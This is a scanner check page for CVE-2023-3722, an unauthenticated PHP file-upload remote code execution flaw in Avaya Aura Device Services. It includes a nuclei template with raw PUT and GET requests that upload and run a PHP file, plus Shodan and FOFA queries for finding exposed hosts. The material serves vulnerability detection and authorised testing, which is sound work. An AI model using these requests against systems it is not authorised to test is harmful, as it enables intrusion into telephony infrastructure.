Avaya Aura Device Services - OS Command Injection

highseverity

8.6CVSS score

3.9%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

An OS command injection vulnerability was found in the Avaya Aura Device Services Web application which could allow remote code execution as the Web server user via a malicious uploaded file. This issue affects Avaya Aura Device Services version 8.1.4.0 and earlier.

Impact

Unauthenticated attackers can upload malicious PHP files to execute arbitrary code with web server privileges on Avaya Aura Device Services, potentially compromising VoIP infrastructure and accessing telecommunications data.

Fix

Update Avaya Aura Device Services to a version newer than 8.1.4.0 that validates uploaded files and restricts code execution in the PhoneBackup directory.

How to confirm it

Send: PUT /PhoneBackup/{{filename}}.php
Positive when: status_code == 201 and contains(body, "Resource /PhoneBackup/{{filename}}.php has been created.")
Send: GET /PhoneBackup/{{filename}}.php?input={{base64(marker)}}
Positive when: status_code == 200 and contains(body, "{{marker}}")

Run it with nuclei: nuclei -id CVE-2023-3722 -u <target>

The full check

id: CVE-2023-3722

info:
  name: Avaya Aura Device Services - OS Command Injection
  author: iamnoooob,pdresearch
  severity: high
  description: |
    An OS command injection vulnerability was found in the Avaya Aura Device Services Web application which could allow remote code execution as the Web server user via a malicious uploaded file. This issue affects Avaya Aura Device Services version 8.1.4.0 and earlier.
  impact: |
    Unauthenticated attackers can upload malicious PHP files to execute arbitrary code with web server privileges on Avaya Aura Device Services, potentially compromising VoIP infrastructure and accessing telecommunications data.
  remediation: |
    Update Avaya Aura Device Services to a version newer than 8.1.4.0 that validates uploaded files and restricts code execution in the PhoneBackup directory.
  reference:
    - https://github.com/pizza-power/CVE-2023-3722
    - https://download.avaya.com/css/public/documents/101076366
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
    cvss-score: 8.6
    cve-id: CVE-2023-3722
    cwe-id: CWE-434
    epss-score: 0.0386
    epss-percentile: 0.90257
    cpe: cpe:2.3:a:avaya:aura_device_services:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: avaya
    product: aura_device_services
    shodan-query: html:"Avaya Aura&reg;&nbsp;Utility Services"
    fofa-query: body="Avaya Aura&reg;&nbsp;Utility Services"
  tags: cve,cve2023,avaya,rce,upload,deviceservices,intrusive,vkev,vuln

variables:
  filename: "{{randbase(8)}}"
  marker: "{{randstr}}"

http:
  - raw:
      - |
        PUT /PhoneBackup/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: AVAYA

        <?phP echo base64_decode($_GET['input']); ?>

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 201'
          - 'contains(body, "Resource /PhoneBackup/{{filename}}.php has been created.")'
        condition: and
        internal: true

  - raw:
      - |
        GET /PhoneBackup/{{filename}}.php?input={{base64(marker)}} HTTP/1.1
        Host: {{Hostname}}
        User-Agent: AVAYA

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "{{marker}}")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from